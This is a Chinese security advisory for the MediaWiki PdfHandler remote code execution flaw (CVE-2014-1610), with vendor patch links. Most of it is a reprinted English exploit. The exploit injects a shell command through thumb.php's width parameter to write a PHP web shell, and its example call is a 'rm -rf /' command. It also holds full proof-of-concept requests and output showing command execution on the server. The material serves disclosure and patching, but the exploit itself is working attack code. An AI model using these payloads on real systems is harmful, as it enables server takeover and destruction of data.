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安全漏洞
MediaWiki多个远程代码执行漏洞
发布日期：2014-01-28
更新日期：2014-02-18
受影响系统：
MediaWiki MediaWiki <= 1.22.1描述：
BUGTRAQ ID: 65223
CVE(CAN) ID: CVE-2014-1610
MediaWiki是著名的wiki程序，运行于PHP+MySQL环境。
MediaWiki 1.22.2, 1.21.5, 1.19.11版本及之前版本启用了DjVu或PDF文件上传支持后，允许远程攻击者通过includes/media/DjVu.php中page参数内的shell元字符、thumb.php中w参数内的shell元字符、includes/media/Bitmap.php内的参数、includes/media/ImageHandler.php内的参数，利用此漏洞执行任意命令。
<*来源：Netanel Rubin
链接：http://secunia.com/advisories/56695
http://www.exploit-db.com/exploits/31329/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Hash: SHA1
####################################################################
#
# MediaWiki <= 1.22.1 PdfHandler Remote Code Execution Exploit (CVE-2014-1610)
# Reported by Netanel Rubin - Check Point’s Vulnerability Research Group (Jan 19, 2014)
# Fixed in 1.22.2, 1.21.5 and 1.19.11 (Jan 30, 2014)
# Affected website : Wikipedia.org and more !
#
# Exploit author : Xelenonz & @u0x (Pichaya Morimoto)
# Release dates : Feb 1, 2014
# Special Thanks to 2600 Thailand !
#
####################################################################
# Exploit:
####################################################################
1. upload Longcat.pdf to wikimedia cms site (with PDF Handler enabled)
http://vulnerable-site/index.php/Special:Upload
2. inject os cmd to upload a php-backdoor
http://vulnerable-site/thumb.php?f=Longcat.pdf&w=10|`echo%20
"<?php%20system(\\$_GET[1]);">images/xnz.php`
3. access to php-backdoor!
http://vulnerable-site/images/xnz.php?1=rm%20-rf%20%2f%20--no-preserve-root
4. happy pwning!!
# Related files:
####################################################################
thumb.php <-- extract all _GET array to params
/extensions/PdfHandler/PdfHandler_body.php <-- failed to escape w/width
options
/includes/media/ImageHandler.php
/includes/GlobalFunctions.php
/includes/filerepo/file/File.php
# Vulnerability Analysis:
####################################################################
1. thumb.php
This script used to resize images if it is configured to be done
when the web browser requests the image
<? ...
1.1 Called directly, use $_GET params
wfThumbHandleRequest();
1.2 Handle a thumbnail request via query parameters
function wfThumbHandleRequest() {
$params = get_magic_quotes_gpc()
? array_map( 'stripslashes', $_GET )
: $_GET; << WTF
wfStreamThumb( $params ); // stream the thumbnail
}
1.3 Stream a thumbnail specified by parameters
function wfStreamThumb( array $params ) {
...
$fileName = isset( $params['f'] ) ? $params['f'] : ''; // << puts
uploaded.pdf file here
...
// Backwards compatibility parameters
if ( isset( $params['w'] ) ) {
$params['width'] = $params['w']; // << Inject os cmd here!
unset( $params['w'] );
}
...
$img = wfLocalFile( $fileName );
...
// Thumbnail isn't already there, so create the new thumbnail...
$thumb = $img->transform( $params, File::RENDER_NOW ); // << resize image
by width/height
...
// Stream the file if there were no errors
$thumb->streamFile( $headers );
...
?>
2. /includes/filerepo/file/File.php
<? ...
function transform( $params, $flags = 0 ) { ...
$handler = $this->getHandler(); // << PDF Handler
...
$normalisedParams = $params;
$handler->normaliseParams( $this, $normalisedParams );
...
$thumb = $handler->doTransform( $this, $tmpThumbPath, $thumbUrl, $params );
..
?>
3. /extensions/PdfHandler/PdfHandler_body.php
<? ...
function doTransform( $image, $dstPath, $dstUrl, $params, $flags = 0 ) {
...
$width = $params['width'];
...
$cmd = '(' . wfEscapeShellArg( $wgPdfProcessor ); // << craft shell cmd &
parameters
$cmd .= " -sDEVICE=jpeg -sOutputFile=- -dFirstPage={$page}
-dLastPage={$page}";
$cmd .= " -r{$wgPdfHandlerDpi} -dBATCH -dNOPAUSE -q ". wfEscapeShellArg(
$srcPath );
$cmd .= " | " . wfEscapeShellArg( $wgPdfPostProcessor );
$cmd .= " -depth 8 -resize {$width} - "; // << FAILED to escape shell
argument
$cmd .= wfEscapeShellArg( $dstPath ) . ")";
$cmd .= " 2>&1";
...
$err = wfShellExec( $cmd, $retval );
...
?>
4. /includes/GlobalFunctions.php
Execute a shell command, with time and memory limits
<? ...
function wfShellExec( $cmd, &$retval = null, $environ = array(), $limits =
array() ) {
...
passthru( $cmd, $retval ); // << Execute here!!
# Proof-Of-Concept
####################################################################
GET /mediawiki1221/thumb.php?f=longcat.pdf&w=10|`echo%20%22%3C
php%20system(\\$_GET[1]);%22%3Eimages/longcat.php`
HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: my_wikiUserID=2; my_wikiUserName=Longcat;
my_wiki_session=op3h2huvddnmg7gji0pscfsg02
<html><head><title>Error generating thumbnail</title></head>
<body>
<h1>Error generating thumbnail</h1>
<p>
เกิดปัญหาไม่สามารถทำรูปย่อได้: /bin/bash: -: command not found<br />
convert: option requires an argument `-resize' @
error/convert.c/ConvertImageCommand/2380.<br />
GPL Ghostscript 9.10: Unrecoverable error, exit code 1<br />
</p>
</body>
</html>
GET /mediawiki1221/images/longcat.php?1=id HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Cookie: my_wikiLoggedOut=1391266363; my_wikiUserID=2;
my_wikiUserName=Longcat; my_wiki_session=bvg0n4o0sn6ug04lg26luqfcg1
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Back-end $cmd
####################################################################
GlobalFunctions.php : wfShellExec()
cmd = ('gs' -sDEVICE=jpeg -sOutputFile=- -dFirstPage=1 -dLastPage=1 -r150
-dBATCH -dNOPAUSE -q '/var/www/mediawiki1221/images/2/27/Longcat.pdf' |
'/usr/bin/convert' -depth 8 -resize 10|`echo "<?php
system(\\$_GET[1]);">images/longcat.php` -
'/tmp/transform_0e377aad0e27-1.jpg') 2>&1
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.14 (GNU/Linux)
iQIcBAEBAgAGBQJS7SLLAAoJEB2kHapd1XMU8BcP/A+hMUw/EDwChN+2XjtExVGU
BzPrpXXBbp6WGWkeztmrT78Y1b1lXX/cQA4V9IGrdHUEdgG0p3y476d7eZ5sPxVf
ny9Xg7o4WtMgmSvSOOc+lCsy9aAKab801cs1HLbwZokwK8ItwQQoGfik0BgNQ4l1
mijELis1z1f3k6yJ9/OJicnIJDmHIzPL9wQyr2A5c+jjz74SR//SlQPrqDbvEpj2
uCCpTpjf6LGYCzyGmqROlf+OxFTeXdB9oghButrEtQ9w6qGQg1/UZjmbx/xLkCqb
GO1R4qs0PuV4uepwcbLzDDWW5kPejPjcwpuyjrpQO45OcIUtkvzR4iypCxxkvktv
n2l09Dtn9HqbK3QXhTb2u3uhM9RyJd7kFKhfmZ85OnvMmYvaXSeDWs7Wd9GEO5wh
FXbhL9O2u/bqiabQKnsJ6bx8hcm2a9mO+/yJZUyBXybHrjseRD4LQFWUYR/WPAQt
vuICIQyO5pcjkIib+0DN4e7xcFMYuo3o6WkSZuZT+l0LwYDVmhUbaGAEP13+dWZZ
M0HGoI7AITsqukYFH1n7NYjJazF3Bckc0iJbCrI39TYkvr3V9bRWSEfVBM6FcBan
kumwDlzYP/301fsKGLtfsnUmK2qkj1EF3DVoJbZ5VFdgiUSlCMsbp9qdGfUPbelR
2LmeyQR2rzjBB7Sovvcn
=ooEs
-----END PGP SIGNATURE-----
建议：
厂商补丁：
MediaWiki
---------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://wikipedia.sourceforge.net/
http://lists.wikimedia.org/pipermail/mediawiki-announce/2014-January/000140.html
https://www.mediawiki.org/wiki/Release_notes/1.22
https://www.mediawiki.org/wiki/Release_notes/1.21
https://www.mediawiki.org/wiki/Release_notes/1.19
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